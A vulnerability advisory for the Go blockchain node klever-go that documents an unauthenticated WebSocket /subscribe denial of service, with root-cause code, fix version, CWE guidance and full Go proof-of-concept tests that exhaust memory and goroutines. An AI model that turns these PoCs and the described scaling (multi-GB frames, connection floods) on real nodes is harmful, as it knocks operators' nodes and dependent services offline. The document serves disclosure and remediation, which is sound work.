GHSA-4fwh-wrm6-97xm CVE-2026-86065 GO-2026-6581
Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -> remote node memory/goroutine exhaustion (DoS)
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 36.83% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
1.7.20- Upgrade github.com/klever-io/klever-go to this version or later
Description
Summary
The unauthenticated WebSocket endpoint GET /subscribe is registered open: true by default
(config/node/api.yaml) and lets a remote, unauthenticated client exhaust the node's memory and
goroutines. Because the REST API runs IN-PROCESS with the node — network/api/api.go Start(...)
ends with ws.Run(kleverFacade.RestAPIInterface()) — exhausting/killing the API process takes down
the entire node, including its P2P and consensus participation. No API key, account, stake, or funds
are required.
Three compounding, independently-exploitable gaps stack on this one endpoint:
- Permissive origin —
upgrader.CheckOriginalways returnstrue(network/api/websocket/routes.go), so any web origin can complete the handshake. - No read-size limit — the connection never calls
conn.SetReadLimit(...). gorilla's default is UNLIMITED, so a singleconn.ReadJSON(processSubscription) orconn.ReadMessage(client.loopIn) can be forced to allocate an arbitrarily large buffer from ONE frame. - No connection / fan-out cap — the gin global throttler (
simultaneousRequests: 100) releases its slot as soon ashandleSubscribereturns, which it does immediately aftergo processSubscription(conn, hub). Live WebSocket connections are therefore NOT counted by it. There is no per-IP / per-connection / hub-level cap. Each accepted connection spawns 2 goroutines plus a 500-entry buffered channel, andreq.Addresseshas no length cap, so the hub'saddressSubscriptionmap grows 1:1 with attacker-supplied strings.
Affected Component / Code Path
Unauthenticated, reachable by default, no recovery on the resource-allocation path:
gin engine (network/api/api.go: Start -> ws.Run, IN-PROCESS with node)
-> GET /subscribe network/api/websocket/routes.go:34 (SubscribeTopics)
-> handleSubscribe network/api/websocket/routes.go:39
-> upgrader.Upgrade (CheckOrigin == true) network/api/websocket/routes.go:22 <-- GAP #1
-> go processSubscription(conn, hub) network/api/websocket/routes.go:46 (throttler slot freed here)
-> conn.ReadJSON(&req) (no SetReadLimit) network/api/websocket/routes.go:57 <-- GAP #2
-> hub.HandleClientInsertion(...) websocket/websocket.go:121 <-- GAP #3 (addresses uncapped)
-> websocket.NewClient -> loopIn/loopOut (2 goroutines + 500-buf chan per conn) websocket/client.go:24
-> conn.ReadMessage() (no SetReadLimit, no deadline) websocket/client.go:77 <-- GAP #2
Root-cause excerpts (commit 23b74e1):
network/api/websocket/routes.go
var upgrader = gorilla.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // GAP #1: any origin accepted
},
}
func handleSubscribe(c *gin.Context, hub *websocket.SocketHub) {
conn, err := upgrader.Upgrade(c.Writer, c.Request, nil)
if err != nil {
log.Error(subscribeOp, "err", err.Error())
return
}
go processSubscription(conn, hub) // returns now -> gin global throttler slot released (GAP #3)
}
func processSubscription(conn *gorilla.Conn, hub *websocket.SocketHub) {
// no conn.SetReadLimit(...) anywhere (GAP #2)
_ = conn.SetReadDeadline(time.Now().Add(subscribeReadTimeout))
var req subscribeRequest
if err := conn.ReadJSON(&req); err != nil { ... } // unbounded read
_ = conn.SetReadDeadline(time.Time{}) // deadline cleared
...
client := websocket.NewClient(conn, hub)
hub.HandleClientInsertion(parsedTypes, req.Addresses, client) // req.Addresses uncapped (GAP #3)
}
websocket/websocket.go — HandleClientInsertion inserts every address with no length cap:
for _, address := range addresses {
if _, ok := h.addressSubscription[address]; !ok {
h.addressSubscription[address] = make(map[*client]userOptions) // grows 1:1 with attacker input
}
...
}
websocket/client.go — loopIn reads with no size limit and no deadline:
for {
messageType, message, err := c.conn.ReadMessage() // GAP #2: unbounded, no SetReadLimit
...
}
Preconditions
- The node's REST API must be reachable by the attacker. Two realistic deployment shapes:
- (a) Operator-exposed API —
--rest-api-interface :8080/0.0.0.0:8080. This is the standard configuration for public RPC and observer infrastructure (the kind Klever itself operates atnode.klever.org/api.klever.org). Here the attacker reaches/subscribedirectly over the network with no further conditions. - (b) Cross-origin browser drive-by — default bind is
localhost:8080(common/facade/nodeFacade.goDefaultRestInterface = "localhost:8080"). BecauseCheckOriginreturnstrue(GAP #1), any website an operator visits can openws://localhost:8080/subscribefrom the victim's browser and drive GAP #2 (single oversized frame) and GAP #3 (many connections) without the API being network-exposed at all.
- (a) Operator-exposed API —
/subscribeisopen: truein the defaultconfig/node/api.yaml;isSubscriptionRouteEnabledreturns true and the route + hub are wired unconditionally inRegisterRoutes./subscribeis NOT listed inendpointsThrottlers(config/node/config.yaml), so it has no per-endpoint goroutine cap.- No authentication, no on-chain account, no stake, no attacker-created asset is required.
Impact (distributed by gap and by blast radius)
This single finding produces several distinct impacts because the three gaps amplify different node resources and reach the node through two different exposure models. They are broken out so the remediation owner can scope each one.
Impact A — Single-frame heap exhaustion (GAP #2, the cleanest primitive)
- One unauthenticated connection sends ONE WebSocket frame; with no
SetReadLimit, gorilla buffers the entire frame in memory before the JSON is even parsed. Frame size scales the allocation linearly, so one connection can drive a multi-GB allocation. - Observed amplification: an 8 MiB frame grows the server heap by ~32 MiB (~4x) while buffering ONE attacker frame (decode/UTF-8/scratch overhead on top of the raw bytes).
- No flood and no rate-limit interaction is needed: the source throttler is a per-IP RATE cap on HTTP handshakes, not a size or memory cap, so a single slow connection streaming one oversized message is not meaningfully throttled.
- Result: OOM-kill of the node process from a single connection.
Impact B — Connection / goroutine exhaustion (GAP #3, fan-out)
- Live WS connections are not counted by the gin global throttler (its slot is freed at the HTTP→WS upgrade), and there is no per-IP or hub-level connection cap.
- Each accepted connection costs 2 goroutines + a 500-entry buffered channel. Connection count grows linearly with attacker effort from a single source, with no ceiling.
- Result: goroutine/descriptor/scheduler exhaustion → node slowdown then OOM/crash.
Impact C — Unbounded subscription-map growth (GAP #3, per-connection memory)
req.Addressesis uncapped, andHandleClientInsertioninserts every entry into the hub'saddressSubscriptionmap. ONE connection submitting N attacker-controlled address strings grows the map to exactly N entries (1:1), independent of how many real on-chain addresses exist.- Result: heap growth driven purely by attacker-chosen strings on a single connection; combinable with Impact B (many connections × many addresses) for multiplicative memory pressure.
Impact D — Cross-origin reach to localhost-bound nodes (GAP #1, exposure amplifier)
- Because
CheckOriginis alwaystrue, Impacts A–C are reachable from a victim's browser even when the API is bound tolocalhostand never exposed to the network. A node operator who simply visits a malicious page can have their own node driven into Impact A/B/C from inside their browser. - Result: the
localhost-bind "mitigation" does not hold against a web-drive-by attacker.
Blast-radius note (applies to all of the above)
- The REST/WS API runs in the SAME process as the node (
ws.Run(...)innetwork/api/api.go). OOM/kill of the API = loss of P2P + consensus participation for that node, not merely loss of the RPC surface. For a public RPC/observer node this is an availability break for every downstream wallet/explorer/service; repeated across many nodes it degrades overall network availability.
Exploit Cost / Attack Complexity
- Cost: negligible. No funds, no stake, no account, no API key. One TCP/WS connection (Impact A) or a modest number of connections (Impact B/C). Impact D needs only that the operator visits a web page.
- Complexity: LOW. Unauthenticated, remote, deterministic. The vulnerability is the ABSENCE of caps, so it does not depend on a race or on a specific node version beyond the affected range.
PoC-Result
Two complementary PoCs were executed against the REAL production code at commit 23b74e1.
All runs PASS. Sources, scenarios, and run instructions are in PoC-Source below.
Result 1 — Unit PoC: unbounded addressSubscription growth (Impact C)
Drives the real SocketHub.HandleClientInsertion (production code, no stub) with one client
submitting 200,000 attacker-controlled address strings.
$ go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v
=== RUN TestPoC_UnboundedAddressSubscriptionGrowth
zz_poc_ws_unbounded_subscription_test.go:46: addressSubscription entries after ONE client submitted 200000 addresses: 200000
zz_poc_ws_unbounded_subscription_test.go:50: VULNERABLE: no cap on per-connection address count
--- PASS: TestPoC_UnboundedAddressSubscriptionGrowth (0.09s)
PASS
ok github.com/klever-io/klever-go/websocket 0.092s
Interpretation: one connection → 200,000 hub map entries (1:1), confirming GAP #3 / Impact C with no cap. Scaling the address count scales the allocation.
Result 2 — End-to-end PoC: all three gaps over a real loopback gin + gorilla WS server (Impacts A, B, D)
Runs the REAL network/api/websocket.SubscribeTopics + websocket.NewHub + hub.StartServer
behind a gin server on 127.0.0.1, driven by a real gorilla WebSocket client, with a "hardened"
A/B control (strict CheckOrigin + SetReadLimit(1 MiB)) to prove each missing control is the cause.
$ go test ./network/api/websocket/ -run TestE2E_Gap -v
=== RUN TestE2E_Gap1_EvilOriginAccepted
zz_e2e_ws_dos_test.go:87: GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP 101)
zz_e2e_ws_dos_test.go:94: control: hardened handler rejected evil origin (HTTP 403) as expected
--- PASS: TestE2E_Gap1_EvilOriginAccepted (0.00s)
=== RUN TestE2E_Gap2_NoReadSizeLimit
zz_e2e_ws_dos_test.go:118: control: hardened handler rejected 8388608-byte frame with close 1009 (read limit works)
zz_e2e_ws_dos_test.go:147: GAP#2 CONFIRMED: real /subscribe accepted an 8388608-byte (8 MiB) frame with NO size limit (no close 1009; read err=read tcp ... i/o timeout). Server heap grew ~32 MiB while buffering one attacker frame.
--- PASS: TestE2E_Gap2_NoReadSizeLimit (1.43s)
=== RUN TestE2E_Gap3_NoConnectionCap
zz_e2e_ws_dos_test.go:185: GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL 300 concurrent connections from one client with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew 4 -> 604 (~2 per conn).
--- PASS: TestE2E_Gap3_NoConnectionCap (0.43s)
PASS
ok github.com/klever-io/klever-go/network/api/websocket 1.866s
Interpretation:
- GAP #1 (Impact D): the real handler completes the handshake (HTTP 101) for
Origin: https://evil.attacker.example; the hardened control returns HTTP 403. → cross-origin drive-by reach, including to localhost-bound nodes. - GAP #2 (Impact A): one unauthenticated connection sends a single 8 MiB frame; the real server buffers it whole (~32 MiB heap, ~4x amplification, NO close 1009). The 1 MiB-capped control rejects it with close 1009. → one connection scales to a multi-GB allocation.
- GAP #3 (Impact B): 300 > the configured global cap of 100 simultaneous requests were ALL accepted as live connections; goroutines grew 4 → 604 (~2 per connection). → the global throttler does not bound live WS connections; growth is linear and uncapped.
Production-safety note on the PoC
Frame size (8 MiB) and connection count (300) are kept deliberately modest so the test host is not OOM-killed. The vulnerability is the ABSENCE of the read-size / connection / origin controls, which the hardened A/B control proves fixes each gap. Full end-to-end OOM (multi-GB frame / connection flood) is intentionally NOT executed against any production node.
PoC-Source
Two self-contained Go tests reproduce the finding against the unmodified production code. Both use
only the repo's own go.mod dependencies (gin + gorilla, already required) and the real
network/api/websocket + websocket packages. No external services.
Scenario
- PoC 1 (unit, Impact C) targets the hub primitive directly: build one in-process
client, call the REALSocketHub.HandleClientInsertionwith 200,000 attacker-controlled address strings, and assert the hub'saddressSubscriptionmap grows 1:1 (no cap). This isolates GAP #3 / Impact C with zero network setup. - PoC 2 (end-to-end, Impacts A/B/D) stands up the REAL handler:
gin.New()+ the productionwsapi.SubscribeTopics(engine, hub)+websocket.NewHub(...)+hub.StartServer(ctx)on a127.0.0.1:0listener, then drives it with a real gorilla WS client. A "hardened" mirror server (strictCheckOrigin+SetReadLimit(1 MiB)) is the A/B control that proves each missing control is the root cause:- Gap1 test: dial with
Origin: https://evil.attacker.example; real accepts (HTTP 101), control rejects (403). - Gap2 test: send one 8 MiB valid subscribe frame; real buffers it (no close 1009, heap grows ~32 MiB), control closes with 1009 (message too big).
- Gap3 test: open 300 concurrent connections from one client; real accepts all (goroutines grow ~2/conn), proving the gin global cap of 100 is not enforced on live WS.
- Gap1 test: dial with
How to run
git clone https://github.com/klever-io/klever-go && cd klever-go(Go toolchain matchinggo.mod; verified locally on go1.26.3 at commit23b74e1.)- Save PoC 1 as
websocket/poc_ws_unbounded_subscription_test.goand run:go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v - Save PoC 2 as
network/api/websocket/e2e_ws_dos_test.goand run:go test ./network/api/websocket/ -run TestE2E_Gap -v(The threeTestE2E_Gap*subtests can run together; each starts its own loopback server.)
- Production-safety: frame size (8 MiB) and connection count (300) are intentionally small so the runner is not OOM-killed; they demonstrate the missing caps, not a live OOM. Do NOT point these at a production node.
Full PoC source 1 — websocket/poc_ws_unbounded_subscription_test.go
// Target component: klever-go REST/WebSocket API — unauthenticated /subscribe (network/api/websocket, websocket/)
// Vulnerability type: Uncontrolled resource consumption (CWE-770) — unauthenticated remote
// memory/goroutine exhaustion of the node process via the WS API.
// Scope note: The REST API runs IN-PROCESS with the node, so OOM kills the whole node
// (P2P + consensus), not a separate sidecar.
//
// Three compounding gaps on the unauthenticated `/subscribe` endpoint (open:true by default):
// 1) gorilla Upgrader has CheckOrigin -> always true (any origin).
// 2) NO conn.SetReadLimit: a single WS frame/JSON can be arbitrarily large -> one message
// can force a multi-GB allocation in conn.ReadJSON / ReadMessage.
// 3) NO connection cap (per-IP / global / hub-level): the gin global throttler slot is
// released right after the HTTP->WS upgrade in handleSubscribe (it returns immediately
// after `go processSubscription`), so live WS connections are NOT counted by the
// 100-simultaneous-request cap. Each connection also spawns 2 goroutines + a 500-buffered
// channel, and there is no per-connection cap on req.Addresses, so the hub's
// addressSubscription map grows 1:1 with attacker-supplied strings.
//
// This test runtime-confirms gap #3 (unbounded addressSubscription growth). Gaps #1/#2 are
// verified by code review (no SetReadLimit / CheckOrigin==true in network/api/websocket/routes.go).
//
// How to run: cp into websocket/ and `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`
package websocket
import (
"fmt"
"testing"
"github.com/klever-io/klever-go/indexer"
)
func TestPoC_UnboundedAddressSubscriptionGrowth(t *testing.T) {
hub := NewHub("", "", nil)
c := &client{hub: hub, out: make(chan interface{}, 10), alive: true, sem: make(chan struct{}, maxWorkers)}
const n = 200000
addresses := make([]string, n)
for i := 0; i < n; i++ {
addresses[i] = fmt.Sprintf("klv-attacker-addr-%d", i)
}
hub.HandleClientInsertion([]indexer.EventType{indexer.ACCOUNTS}, addresses, c)
hub.mu.RLock()
got := len(hub.addressSubscription)
hub.mu.RUnlock()
t.Logf("addressSubscription entries after ONE client submitted %d addresses: %d", n, got)
if got != n {
t.Fatalf("expected unbounded growth to %d, got %d", n, got)
}
t.Logf("VULNERABLE: no cap on per-connection address count")
}
Full PoC source 2 — network/api/websocket/e2e_ws_dos_test.go
package websocket_test
import (
"context"
"net"
"net/http"
"runtime"
"strings"
"testing"
"time"
"github.com/gin-gonic/gin"
gorilla "github.com/gorilla/websocket"
wsapi "github.com/klever-io/klever-go/network/api/websocket"
hubpkg "github.com/klever-io/klever-go/websocket"
)
// ---- vulnerable server: the REAL production handler ----
func startRealSubscribeServer(t *testing.T) (string, func()) {
t.Helper()
gin.SetMode(gin.ReleaseMode)
engine := gin.New()
hub := hubpkg.NewHub("", "", nil) // facade nil: /subscribe path doesn't use it
ctx, cancel := context.WithCancel(context.Background())
go hub.StartServer(ctx)
wsapi.SubscribeTopics(engine, hub) // <-- REAL production registration
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
srv := &http.Server{Handler: engine}
go func() { _ = srv.Serve(ln) }()
stop := func() { cancel(); _ = srv.Close(); _ = ln.Close() }
return ln.Addr().String(), stop
}
// ---- hardened mirror: same flow + the missing controls (strict origin + SetReadLimit) ----
func startHardenedSubscribeServer(t *testing.T) (string, func()) {
t.Helper()
gin.SetMode(gin.ReleaseMode)
engine := gin.New()
up := gorilla.Upgrader{CheckOrigin: func(r *http.Request) bool {
return r.Header.Get("Origin") == "" // strict: only same/no-origin allowed
}}
engine.GET("/subscribe", func(c *gin.Context) {
conn, err := up.Upgrade(c.Writer, c.Request, nil)
if err != nil {
return
}
conn.SetReadLimit(1 << 20) // 1 MiB cap (the fix)
go func() {
defer conn.Close()
for {
if _, _, err := conn.ReadMessage(); err != nil {
return
}
}
}()
})
ln, _ := net.Listen("tcp", "127.0.0.1:0")
srv := &http.Server{Handler: engine}
go func() { _ = srv.Serve(ln) }()
return ln.Addr().String(), func() { _ = srv.Close(); _ = ln.Close() }
}
func bigValidSubscribeJSON(addrBytes int) []byte {
// valid subscribe frame: one giant attacker-controlled address string
return []byte(`{"subscribed_types":["accounts"],"addresses":["` + strings.Repeat("A", addrBytes) + `"]}`)
}
// GAP #1 — permissive origin: real handler accepts an evil Origin; hardened rejects it.
func TestE2E_Gap1_EvilOriginAccepted(t *testing.T) {
realAddr, stopReal := startRealSubscribeServer(t)
defer stopReal()
hardAddr, stopHard := startHardenedSubscribeServer(t)
defer stopHard()
hdr := http.Header{"Origi…
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/klever-io/klever-go | < 1.7.20 |
1.7.20 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/klever-io/klever-go Go → 1.7.20
- go
go get github.com/klever-io/klever-go@v1.7.20 && go mod tidy
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7c7c-373r-gfjj Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery | High | Also affects github.com/klever-io/klever-go |
| GHSA-9wh6-9hq7-9688 Klever-Go: Validator registration accepts an unvalidated BLS public key → consensus liveness DoS | High | Also affects github.com/klever-io/klever-go |
| GHSA-26r5-4mm2-px5c Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace | High | Also affects github.com/klever-io/klever-go |
| GHSA-97cv-x867-6xhm Klever-Go Account takeover: `kleverUpdateAccountPermission` authorizes on attacker-controlled `RecipientAddr` instead of the authenticated caller | High | Also affects github.com/klever-io/klever-go |
| GHSA-9v8p-frvj-2pcm Klever-Go: /log controls global node logging | High | Also affects github.com/klever-io/klever-go |
| GHSA-mrpp-v6pg-p54x klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply | High | Also affects github.com/klever-io/klever-go |
| GHSA-v358-wf77-39xv klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits | High | Also affects github.com/klever-io/klever-go |
| GHSA-cgc5-v3f2-8m2v Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token) | Critical | Also affects github.com/klever-io/klever-go |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor